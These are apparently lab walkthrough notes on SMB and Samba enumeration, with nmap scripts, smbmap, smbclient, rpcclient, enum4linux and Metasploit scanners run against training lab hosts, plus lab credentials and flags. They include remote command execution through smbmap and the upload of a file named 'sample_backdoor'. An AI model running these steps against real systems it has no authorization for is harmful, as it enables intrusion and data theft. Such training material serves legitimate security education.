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SMB Enum

What is SMB?

SMB stands for Server Message Block, and it's a network protocol used for sharing files, printers, and other resources between computers on a network. It enables devices to communicate and collaborate by providing a way to access shared folders, files, and other resources on remote systems. SMB is primarily used in Windows environments, but it's also supported by various other operating systems.

Here are some key features and uses of the SMB protocol:

  1. File and Printer Sharing: SMB allows computers to share files and printers over a network. Users can access remote files as if they were on their local machine and send print jobs to remote printers.
  2. Access Control: SMB supports access control and authentication mechanisms, allowing administrators to set permissions for who can access shared resources and what level of access they have.
  3. Named Pipes and Interprocess Communication: SMB provides named pipes for interprocess communication between programs running on different computers. This facilitates communication and data exchange between applications.
  4. Network Browsing: SMB enables network browsing, allowing users to discover available computers, shared folders, and resources on the network.
  5. Remote Procedure Calls (RPCs): SMB can be used for remote procedure calls, which enable a program to execute code on a remote server as if it were local.
  6. Version History: SMB has gone through several versions, including SMB1, SMB2, and SMB3. Each version introduced improvements in terms of security, performance, and functionality.
  7. Encryption and Security: Recent versions of SMB (SMB3) incorporate advanced security features such as encryption, signing, and improved authentication mechanisms to enhance the protection of data in transit.
  8. Cross-Platform Support: While SMB is closely associated with Windows, it is supported on various platforms through different implementations. For example, Samba is an open-source implementation of the SMB/CIFS protocol that allows Unix-like systems to share resources with Windows systems.
  9. CIFS: Common Internet File System (CIFS) is a more advanced version of SMB that provides additional features and better compatibility with modern network environments.

SMB Enumeration

SMB enumeration refers to the process of extracting information and details from a target system that is running the Server Message Block (SMB) protocol. SMB is a network file sharing protocol that enables applications and systems to communicate and share resources such as files, printers, and other devices across a network. SMB is commonly used in Windows environments for sharing files and resources.

During SMB enumeration, a penetration tester or security analyst attempts to retrieve valuable information from the target system by querying the SMB services. This process involves querying various aspects of the system, including:

  1. Shares: Enumerating the shared folders and resources on the target system, which can reveal information about directory structures, file names, and access permissions.
  2. Users and Groups: Extracting information about users and groups present on the system. This information can help identify potential user accounts for further exploitation.
  3. Services: Identifying active services, applications, and processes running on the target system, which could potentially lead to vulnerabilities or weaknesses.
  4. Session Information: Gathering details about active user sessions and connections to the target system.
  5. System Information: Extracting information about the target system's operating system, version, and other configuration details.
  6. Security Policies: Obtaining information about security policies, such as password policies, that could impact the strength of user credentials.
  7. Error Messages: Analyzing error messages or responses from the SMB service, which might provide insights into potential misconfigurations or vulnerabilities.

SMB Ports

  • TCP Port 445 - Microsoft-DS (Microsoft Directory Services): This is the main port used for SMB traffic on modern networks. It is commonly used for file and printer sharing, as well as other SMB-related operations.
  • UDP Port 137 - NetBIOS Name Service: This port is used for the NetBIOS Name Resolution service. NetBIOS (Network Basic Input/Output System) is a service that allows computers to communicate within a local network. This port is involved in resolving NetBIOS names to IP addresses.
  • UDP Port 138 - NetBIOS Datagram Service: This port is used for the NetBIOS Datagram Service. It is involved in the communication of datagrams between devices on the network.
  • TCP Port 139 - NetBIOS Session Service: In the past, this port was widely used for SMB traffic, but it has become less common in modern networks. It was used for file access operations and resource sharing.

SMB: Windows Discover & Mount

Task List

Windows machine (Server 2012) is provided to you.

Learn to use Nmap to scan the target machine and mount the SMB share of the target machine using the Windows File Explorer as well as using the command prompt.

Objective: Discover SMB share and mount it

The following username and password may be used to access the service:

| Username | Password | | administrator | smbserver_771 |

systeminfo

This is IP address of the machine with hostname "ATTACKER":

ifconfig

Run Nmap scan against the subnet to discover the target machine’s IP address.

The target subnet is “255.255.240.0” hence we have mentioned CIDR to 20.

We see that hosts with IP: 10.2.22.92 and 10.2.25.111 have SMB open ports (139, 445).

We have the credentials to access the target server, we can use GUI mode or terminal.

net use Z: \\10.2.22.92\C$ smbserver_771 /user:administrator

to delete sharing files we use this command:

 net use * /delete

SMB: Nmap Scripts

Numerous iterations of the SMB protocol exist, including SMBv1, CIFS, SMBv2, SMBv2.1, SMBv3, and others.

For instance, Windows employs SMB for mapping and sharing drives as letters.

Typically, SMB is detectable on ports 139 or 445; additional details about the operating system version can be unveiled through nmap service and script enumeration (-sV, -sC).

Once SMB is identified during port scanning, employ nmap to amass further insights.

sudo nmap -p139,445 -sV -sC -O <TARGET_IP>

Lab 1

🔬 Windows Recon: SMB Nmap Scripts

  • Target IP: 10.2.27.65
  • Enumeration of SMB protocol dialects, security level information, active sessions, Windows users and shares, domains, services.
ping 10.2.27.65
nmap 10.2.27.65

    PORT      STATE SERVICE
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    445/tcp   open  microsoft-ds
    3389/tcp  open  ms-wbt-server
    49152/tcp open  unknown
    49153/tcp open  unknown
    49154/tcp open  unknown
    49155/tcp open  unknown
    49167/tcp open  unknown
  • With SMB port 445 open, you can utilize a specialized nmap script to compile a list of the supported protocols and dialects by the SMB server.
nmap -p445 --script smb-protocols 10.2.27.65
Host script results:
| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|_    3.02
nmap -p445 --script smb-security-mode 10.2.27.65
Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
nmap -p445 --script smb-enum-sessions 10.2.27.65
# nmap logged in as the "guest" account
Host script results:
| smb-enum-sessions: 
|   Users logged in
|_    WIN-OMCNBKR66MN\bob since <unknown>
# bob is logged in without any credentials, since the "guest login" is enabled
  • Use the provided user and password to enumerate the same login sessions
nmap -p445 --script smb-enum-sessions --script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-enum-sessions: 
|   Users logged in
|     WIN-OMCNBKR66MN\bob since 2023-08-13T17:37:26
|   Active SMB sessions
|_    ADMINISTRATOR is connected from \\10.2.27.65 for [just logged in, it's probably you], idle for [not idle]
nmap -p445 --script smb-enum-shares 10.2.27.65
Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.2.27.65\ADMIN$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.2.27.65\C: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.2.27.65\C$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.2.27.65\D$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\10.2.27.65\Documents: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.2.27.65\Downloads: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.2.27.65\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.2.27.65\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Anonymous access: <none>
|_    Current user access: READ

📌 IPC$ (null session connection) - with this session, Windows lets guest anonymous users enumerate the names of domain accounts and network shares.

  • Enumerate SMB shares with an authenticated user (administrator account)
nmap -p445 --script smb-enum-shares --script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-enum-shares: 
|   account_used: administrator
|   \\10.2.27.65\ADMIN$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\Windows
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.2.27.65\C: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.2.27.65\C$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.2.27.65\D$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Users: 0
|     Max Users: <unlimited>
|     Path: D:\
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.2.27.65\Documents: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\Users\Administrator\Documents
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.2.27.65\Downloads: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\Users\Administrator\Downloads
|     Anonymous access: <none>
|     Current user access: READ
|   \\10.2.27.65\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Users: 1
|     Max Users: <unlimited>
|     Path: 
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\10.2.27.65\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\Windows\system32\spool\drivers
|     Anonymous access: <none>
|_    Current user access: READ/WRITE

📌 The authenticated user, the administrator in this case, has Read & Write privileges to the entire C$ (and D$) drive.

nmap -p445 --script smb-enum-users --script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-enum-users: 
|   WIN-OMCNBKR66MN\Administrator (RID: 500)
|     Description: Built-in account for administering the computer/domain
|     Flags:       Password does not expire, Normal user account
|   WIN-OMCNBKR66MN\bob (RID: 1010)
|     Flags:       Password does not expire, Normal user account
|   WIN-OMCNBKR66MN\Guest (RID: 501)
|     Description: Built-in account for guest access to the computer/domain
|_    Flags:       Password does not expire, Password not required, Normal user account

📌 Three users are present with some dangerous flags and misconfigurations.

  • Guest user - no password expiration, password not required, normal user account
  • Administrator, bob - no password expiration
nmap -p445 --script smb-server-stats --script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-server-stats: 
|   Server statistics collected since 2023-08-17T20:37:19 (40m18s):
|     94675 bytes (39.15 b/s) sent, 80383 bytes (33.24 b/s) received
|_    34 failed logins, 7 permission errors, 0 system errors, 0 print jobs, 35 files opened
nmap -p445 --script smb-enum-domains--script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-enum-domains: 
|   WIN-OMCNBKR66MN
|     Groups: WinRMRemoteWMIUsers__
|     Users: Administrator, bob, Guest
|     Creation time: 2013-08-22T14:47:57
|     Passwords: min length: n/a; min age: n/a days; max age: 42 days; history: n/a passwords
|     Properties: Complexity requirements exist # Important
|     Account lockout disabled
|   Builtin
|     Groups: Access Control Assistance Operators, Administrators, Backup Operators, Certificate Service DCOM Access, Cryptographic Operators, Distributed COM Users, Event Log Readers, Guests, Hyper-V Administrators, IIS_IUSRS, Network Configuration Operators, Performance Log Users, Performance Monitor Users, Power Users, Print Operators, RDS Endpoint Servers, RDS Management Servers, RDS Remote Access Servers, Remote Desktop Users, Remote Management Users, Replicator, Users
|     Users: n/a
|     Creation time: 2013-08-22T14:47:57
|     Passwords: min length: n/a; min age: n/a days; max age: 42 days; history: n/a passwords
|_    Account lockout disabled
nmap -p445 --script smb-enum-groups--script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-enum-groups: 
|   Builtin\Administrators (RID: 544): Administrator, bob
|   Builtin\Users (RID: 545): bob
|   Builtin\Guests (RID: 546): Guest
|   Builtin\Power Users (RID: 547): <empty>
|   Builtin\Print Operators (RID: 550): <empty>
|   Builtin\Backup Operators (RID: 551): <empty>
|   Builtin\Replicator (RID: 552): <empty>
|   Builtin\Remote Desktop Users (RID: 555): bob
|   Builtin\Network Configuration Operators (RID: 556): <empty>
|   Builtin\Performance Monitor Users (RID: 558): <empty>
|   Builtin\Performance Log Users (RID: 559): <empty>
|   Builtin\Distributed COM Users (RID: 562): <empty>
|   Builtin\IIS_IUSRS (RID: 568): <empty>
|   Builtin\Cryptographic Operators (RID: 569): <empty>
|   Builtin\Event Log Readers (RID: 573): <empty>
|   Builtin\Certificate Service DCOM Access (RID: 574): <empty>
|   Builtin\RDS Remote Access Servers (RID: 575): <empty>
|   Builtin\RDS Endpoint Servers (RID: 576): <empty>
|   Builtin\RDS Management Servers (RID: 577): <empty>
|   Builtin\Hyper-V Administrators (RID: 578): <empty>
|   Builtin\Access Control Assistance Operators (RID: 579): <empty>
|   Builtin\Remote Management Users (RID: 580): <empty>
|_  WIN-OMCNBKR66MN\WinRMRemoteWMIUsers__ (RID: 1000): <empty>

# "bob" has administrator privileges too
  • Enumerate services on the target machine
nmap -p445 --script smb-enum-services --script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-enum-services: 
|   AmazonSSMAgent: 
|     display_name: Amazon SSM Agent
|     state: 
|       SERVICE_RUNNING
|       SERVICE_PAUSED
|       SERVICE_CONTINUE_PENDING
|       SERVICE_PAUSE_PENDING
|     type: 
|       SERVICE_TYPE_WIN32
|       SERVICE_TYPE_WIN32_OWN_PROCESS
|     controls_accepted: 
|       SERVICE_CONTROL_CONTINUE
|       SERVICE_CONTROL_NETBINDADD
|       SERVICE_CONTROL_INTERROGATE
|       SERVICE_CONTROL_NETBINDENABLE
|       SERVICE_CONTROL_PARAMCHANGE
|       SERVICE_CONTROL_STOP
	[...]
|   TrustedInstaller: 
|     display_name: Windows Modules Installer
|     state: 
|       SERVICE_RUNNING
|       SERVICE_PAUSED
|       SERVICE_CONTINUE_PENDING
|       SERVICE_PAUSE_PENDING
|     type: 
|       SERVICE_TYPE_WIN32
|       SERVICE_TYPE_WIN32_OWN_PROCESS
|     controls_accepted: 
|       SERVICE_CONTROL_CONTINUE
|       SERVICE_CONTROL_NETBINDADD
|       SERVICE_CONTROL_NETBINDENABLE
|       SERVICE_CONTROL_STOP
|   vds: 
|     display_name: Virtual Disk
|     state: 
|       SERVICE_RUNNING
|       SERVICE_PAUSED
|       SERVICE_CONTINUE_PENDING
|       SERVICE_PAUSE_PENDING
|     type: 
|       SERVICE_TYPE_WIN32
|       SERVICE_TYPE_WIN32_OWN_PROCESS
|     controls_accepted: 
|       SERVICE_CONTROL_CONTINUE
|       SERVICE_CONTROL_NETBINDADD
|       SERVICE_CONTROL_NETBINDENABLE
|_      SERVICE_CONTROL_STOP
  • Retrieve useful information from all the shared folders, running the ls command on all of them
nmap -p445 --script smb-enum-shares,smb-ls --script-args smbusername=administrator,smbpassword=smbserver_771 10.2.27.65
Host script results:
| smb-enum-shares: 
|   account_used: administrator
|   \\10.2.27.65\ADMIN$: 
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\Windows
|     Anonymous access: <none>
|     Current user access: READ/WRITE
	[...]
|   \\10.2.27.65\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\Windows\system32\spool\drivers
|     Anonymous access: <none>
|_    Current user access: READ/WRITE
| smb-ls: Volume \\10.2.27.65\ADMIN$
|   maxfiles limit reached (10)
| SIZE   TIME                 FILENAME
| <DIR>  2013-08-22T13:36:16  .
| <DIR>  2013-08-22T13:36:16  ..
| <DIR>  2013-08-22T15:39:31  ADFS
| <DIR>  2013-08-22T15:39:31  ADFS\ar
| <DIR>  2013-08-22T15:39:31  ADFS\bg
| <DIR>  2013-08-22T15:39:31  ADFS\cs
| <DIR>  2013-08-22T15:39:31  ADFS\da
| <DIR>  2013-08-22T15:39:31  ADFS\de
| <DIR>  2013-08-22T15:39:31  ADFS\el
| <DIR>  2013-08-22T15:39:31  ADFS\en
| 
| 
| Volume \\10.2.27.65\C
|   maxfiles limit reached (10)
| SIZE   TIME                 FILENAME
| <DIR>  2013-08-22T15:39:30  PerfLogs
| <DIR>  2013-08-22T13:36:16  Program Files
| <DIR>  2014-05-17T10:36:57  Program Files\Amazon
| <DIR>  2013-08-22T13:36:16  Program Files\Common Files
| <DIR>  2014-10-15T05:58:49  Program Files\DIFX
| <DIR>  2013-08-22T15:39:31  Program Files\Internet Explorer
| <DIR>  2014-07-10T18:40:15  Program Files\Update Services
| <DIR>  2020-08-12T04:13:47  Program Files\Windows Mail
| <DIR>  2013-08-22T15:39:31  Program Files\Windows NT
| <DIR>  2013-08-22T15:39:31  Program Files\WindowsPowerShell
| 
| 
| Volume \\10.2.27.65\C$
|   maxfiles limit reached (10)
| SIZE   TIME                 FILENAME
| <DIR>  2013-08-22T15:39:30  PerfLogs
| <DIR>  2013-08-22T13:36:16  Program Files
| <DIR>  2014-05-17T10:36:57  Program Files\Amazon
| <DIR>  2013-08-22T13:36:16  Program Files\Common Files
| <DIR>  2014-10-15T05:58:49  Program Files\DIFX
| <DIR>  2013-08-22T15:39:31  Program Files\Internet Explorer
| <DIR>  2014-07-10T18:40:15  Program Files\Update Services
| <DIR>  2020-08-12T04:13:47  Program Files\Windows Mail
| <DIR>  2013-08-22T15:39:31  Program Files\Windows NT
| <DIR>  2013-08-22T15:39:31  Program Files\WindowsPowerShell
| 
| 
| Volume \\10.2.27.65\Documents
| SIZE   TIME                 FILENAME
| <DIR>  2020-09-10T09:50:27  .
| <DIR>  2020-09-10T09:50:27  ..
| 
| 
| Volume \\10.2.27.65\Downloads
| SIZE   TIME                 FILENAME
| <DIR>  2020-09-10T09:50:27  .
| <DIR>  2020-09-10T09:50:27  ..
| 
| 
| Volume \\10.2.27.65\print$
|   maxfiles limit reached (10)
| SIZE    TIME                 FILENAME
| <DIR>   2013-08-22T15:39:31  .
| <DIR>   2013-08-22T15:39:31  ..
| <DIR>   2013-08-22T15:39:31  color
| 1058    2013-08-22T06:54:44  color\D50.camp
| 1079    2013-08-22T06:54:44  color\D65.camp
| 797     2013-08-22T06:54:44  color\Graphics.gmmp
| 838     2013-08-22T06:54:44  color\MediaSim.gmmp
| 786     2013-08-22T06:54:44  color\Photo.gmmp
| 822     2013-08-22T06:54:44  color\Proofing.gmmp
| 218103  2013-08-22T06:54:44  color\RSWOP.icm
|_

SMB: SMBmap

Lab 2

🔬 Windows Recon: SMBMap

  • Target IP: 10.2.21.128
  • Use of smbmap to enumerate samba shares and permissions. Upload, download, delete files
ping 10.2.21.128
nmap 10.2.21.128

    PORT      STATE SERVICE
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    445/tcp   open  microsoft-ds
    3389/tcp  open  ms-wbt-server
    49152/tcp open  unknown
    49153/tcp open  unknown
    49154/tcp open  unknown
    49155/tcp open  unknown
    49165/tcp open  unknown
  • SMB port 445 is open, list the SMB protocols
nmap -p445 --script smb-protocols 10.2.21.128
Host script results:
| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|_    3.02
  • Enumerate the target machine with smbmap
smbmap -u guest -p "" -d . -H 10.2.21.128
[+] Guest session   IP: 10.2.21.128:445   Name: 10.2.21.128                                       
  Disk       Permissions   Comment
  ----       -----------   -------
  ADMIN$     NO ACCESS	   Remote Admin
  C          NO ACCESS	   
  C$         NO ACCESS	   Default share
  D$         NO ACCESS	   Default share
  Documents  NO ACCESS	   
  Downloads  NO ACCESS	   
  IPC$       READ ONLY	   Remote IPC
  print$     READ ONLY	   Printer Drivers
  • Login with administrator and enumerate with smbmap
smbmap -u administrator -p smbserver_771 -d . -H 10.2.21.128

  • Run a command using the smbmap -x option
smbmap -u administrator -p smbserver_771 -H 10.2.21.128 -x 'ipconfig'

❗ Remote Code Execution (RCE) can be achieved through SMB!

  • List all drives with -L option
smbmap -u administrator -p 'smbserver_771' -H 10.2.21.128 -L
[+] Host 10.2.21.128 Local Drives: C:\ D:\
[+] Host 10.2.21.128 Net Drive(s):
	No mapped network drives
  • List directory contents with -r option
smbmap -u administrator -p 'smbserver_771' -H 10.2.21.128 -r 'C$'
[+] IP: 10.2.21.128:445	Name: 10.2.21.128                                       
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	C$                                                	READ, WRITE	
	.\C$\*
	dr--r--r--                0 Sat Sep  5 13:26:00 2020	$Recycle.Bin
	fw--w--w--           398356 Wed Aug 12 10:47:41 2020	bootmgr
	fr--r--r--                1 Wed Aug 12 10:47:40 2020	BOOTNXT
	dr--r--r--                0 Wed Aug 12 10:47:41 2020	Documents and Settings
	fr--r--r--               32 Mon Dec 21 21:27:10 2020	flag.txt
	fr--r--r--       8589934592 Tue Feb 14 03:15:53 2023	pagefile.sys
	dr--r--r--                0 Wed Aug 12 10:49:32 2020	PerfLogs
	dw--w--w--                0 Wed Aug 12 10:49:32 2020	Program Files
	dr--r--r--                0 Sat Sep  5 14:35:45 2020	Program Files (x86)
	dr--r--r--                0 Sat Sep  5 14:35:45 2020	ProgramData
	dr--r--r--                0 Sat Sep  5 09:16:57 2020	System Volume Information
	dw--w--w--                0 Sat Dec 19 11:14:55 2020	Users
	dr--r--r--                0 Tue Feb 14 03:30:25 2023	Windows
  • Upload a sample file to the C:\ drive
touch sample_backdoor
smbmap -u administrator -p 'smbserver_771' -H 10.2.21.128 --upload '/root/sample_backdoor' 'C$\sample_backdoor'
[+] Starting upload: /root/sample_backdoor (0 bytes)
[+] Upload complete
  • Download a file, the flag file in this case
smbmap -u administrator -p 'smbserver_771' -H 10.2.21.128 --download 'C$\flag.txt'
[+] Starting download: C$\flag.txt (32 bytes)
[+] File output to: /root/10.2.21.128-C_flag.txt

cat 10.2.21.128-C_flag.txt
Reveal Flag: 🚩

25f492dbef8453cdca69a173a75790f0

SMB: Recon

Lab 3

🔬 Samba Recon: Basics 1

  • Target IP: 192.28.157.45
  • Linux SMB (smbd) enumeration
ip -br -c a
	eth1@if107855   UP   192.28.157.45/24
  • Target IP is 192.28.157.45
nmap 192.28.157.45
	139/tcp open  netbios-ssn
	445/tcp open  microsoft-ds
	# Service is not specific
nmap -sV -p 139,445 192.28.157.45
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: RECONLABS)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: RECONLABS)
MAC Address: 02:42:C0:1C:9D:03 (Unknown)
Service Info: Host: SAMBA-RECON
# Enumeration of the 139, 445 ports services

📌 Default smbd TCP used ports are 139, 445. Workgroup name of samba server is RECONLABS.

nmap -sU --top-ports 25 --open 192.28.157.45
137/udp open          netbios-ns
138/udp open|filtered netbios-dgm

📌 Default nmbd UDP used ports are 137, 138

nmap --script smb-os-discovery -p 445 192.28.157.45
Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: victim-1
|   NetBIOS computer name: SAMBA-RECON\x00
|   Domain name: \x00
|   FQDN: victim-1
|_  System time: 2023-08-14T15:33:34+00:00

📌 Version of samba server is Samba 4.3.11-Ubuntu. NetBIOS computer name is SAMBA-RECON.

metasploit

  • Use the Metasploit Framework and its msfconsole interface tool to enumerate samba version.
msfconsole
use auxiliary/scanner/smb/smb_version 
set RHOSTS 192.28.157.45
	RHOSTS => 192.28.157.45
exploit
[*] 192.28.157.45:445 - Host could not be identified: Windows 6.1 (Samba 4.3.11-Ubuntu)
[*] 192.28.157.45:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

nmblookup

nmblookup - NetBIOS over TCP/IP client used to lookup NetBIOS names

nmblookup -A 192.28.157.45
Looking up status of 192.28.157.45
        SAMBA-RECON     <00> -         H <ACTIVE> 
        SAMBA-RECON     <03> -         H <ACTIVE> 
        SAMBA-RECON     <20> -         H <ACTIVE> 
        ..__MSBROWSE__. <01> - <GROUP> H <ACTIVE> 
        RECONLABS       <00> - <GROUP> H <ACTIVE> 
        RECONLABS       <1d> -         H <ACTIVE> 
        RECONLABS       <1e> - <GROUP> H <ACTIVE> 

        MAC Address = 00-00-00-00-00-00

smbclient

smbclient - ftp-like client to access SMB/CIFS resources on servers

smbclient -L 192.28.157.45 -N
# -L = list available services
# -N = no password prompt

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk      
        john            Disk      
        aisha           Disk      
        emma            Disk      
        everyone        Disk      
        IPC$            IPC       IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        RECONLABS            SAMBA-RECON

rpcclient

rpcclient - tool for executing client side MS-RPC functions

rpcclient -U "" -N 192.28.157.45
Reveal Flag - The NetBIOS computer name is: 🚩

SAMBA-RECON

Lab 4

🔬 Samba Recon: Basics 2

  • Target IP: 192.230.128.82
  • Linux SMB enumeration
ip -br -c a
	eth1@if108147   UP   192.230.128.82/24
  • Target IP is 192.230.128.82
nmap 192.230.128.82
	139/tcp open  netbios-ssn
	445/tcp open  microsoft-ds
rpcclient -U "" -N 192.230.128.82
rpcclient $> srvinfo
        SAMBA-RECON    Wk Sv PrQ Unx NT SNT samba.recon.lab
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03

📌 OS Version of samba server is 6.1.

enum4linux

enum4linux - tool for enumerating data from Windows and Samba hosts

enum4linux -o 192.230.128.82
 ========================== 
|    Target Information    |
 ========================== 
Target ........... 192.230.128.82
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ===================================================== 
|    Enumerating Workgroup/Domain on 192.230.128.82    |
 ===================================================== 
[+] Got domain/workgroup name: RECONLABS

 ====================================== 
|    Session Check on 192.230.128.82    |
 ====================================== 
[+] Server 192.230.128.3 allows sessions using username '', password ''

 ============================================ 
|    Getting domain SID for 192.230.128.82    |
 ============================================ 
Domain Name: RECONLABS
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ======================================= 
|    OS information on 192.230.128.82    |
 ======================================= 
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.230.128.82 from smbclient: 
[+] Got OS info for 192.230.128.82 from srvinfo:
        SAMBA-RECON    Wk Sv PrQ Unx NT SNT samba.recon.lab
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03
  • Find samba server description
smbclient -L 192.230.128.82 -N
  Sharename       Type      Comment
  ---------       ----      -------
  public          Disk      
  john            Disk      
  aisha           Disk      
  emma            Disk      
  everyone        Disk      
  IPC$            IPC       IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.
  Server               Comment
  ---------            -------

  Workgroup            Master
  ---------            -------
  RECONLABS            SAMBA-RECON

📌 Samba server description is samba.recon.lab

nmap -p445 --script smb-protocols 192.230.128.82
Host script results:
| smb-protocols: 
|   dialects: 
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

📌 NTLM 0.12 (SMBv1) dialects supported

msfconsole
use auxiliary/scanner/smb/smb2 
set RHOSTS 192.230.128.82
	RHOSTS => 192.230.128.82
exploit
[+] 192.230.128.82:445 - 192.230.128.82 supports SMB 2 [dialect 255.2] and has been online for 3700245 hours
[*] 192.230.128.82:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

📌 SMB2 is supported and has been online for 3700245 hours

  • List all Samba server users with various techniques/tools
msfconsole
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.230.128.82
	RHOSTS => 192.230.128.82
exploit
[+] 192.230.128.82:139 - SAMBA-RECON [ john, elie, aisha, shawn, emma, admin ] ( LockoutTries=0 PasswordMin=5 )
[*] 192.230.128.82: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

📌 Users are: john, elie, aisha, shawn, emma, admin

nmap -p445 --script smb-enum-users 192.230.128.82
Host script results:
| smb-enum-users: 
|   SAMBA-RECON\admin (RID: 1005)
|     Full name:   
|     Description: 
|     Flags:       Normal user account
|   SAMBA-RECON\aisha (RID: 1004)
|     Full name:   
|     Description: 
|     Flags:       Normal user account
|   SAMBA-RECON\elie (RID: 1002)
|     Full name:   
|     Description: 
|     Flags:       Normal user account
|   SAMBA-RECON\emma (RID: 1003)
|     Full name:   
|     Description: 
|     Flags:       Normal user account
|   SAMBA-RECON\john (RID: 1000)
|     Full name:   
|     Description: 
|     Flags:       Normal user account
|   SAMBA-RECON\shawn (RID: 1001)
|     Full name:   
|     Description: 
|_    Flags:       Normal user account
enum4linux -U 192.230.128.82
 ========================== 
|    Target Information    |
 ========================== 
Target ........... 192.230.128.82
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ===================================================== 
|    Enumerating Workgroup/Domain on 192.230.128.82    |
 ===================================================== 
[+] Got domain/workgroup name: RECONLABS

 ====================================== 
|    Session Check on 192.230.128.82    |
 ====================================== 
[+] Server 192.230.128.82 allows sessions using username '', password ''

 ============================================ 
|    Getting domain SID for 192.230.128.82    |
 ============================================ 
Domain Name: RECONLABS
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ============================== 
|    Users on 192.230.128.82    |
 ============================== 
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: john     Name:   Desc: 
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elie     Name:   Desc: 
index: 0x3 RID: 0x3ec acb: 0x00000010 Account: aisha    Name:   Desc: 
index: 0x4 RID: 0x3e9 acb: 0x00000010 Account: shawn    Name:   Desc: 
index: 0x5 RID: 0x3eb acb: 0x00000010 Account: emma     Name:   Desc: 
index: 0x6 RID: 0x3ed acb: 0x00000010 Account: admin    Name:   Desc: 

user:[john] rid:[0x3e8]
user:[elie] rid:[0x3ea]
user:[aisha] rid:[0x3ec]
user:[shawn] rid:[0x3e9]
user:[emma] rid:[0x3eb]
user:[admin] rid:[0x3ed]
  • Find SID of user “admin” using rpcclient.
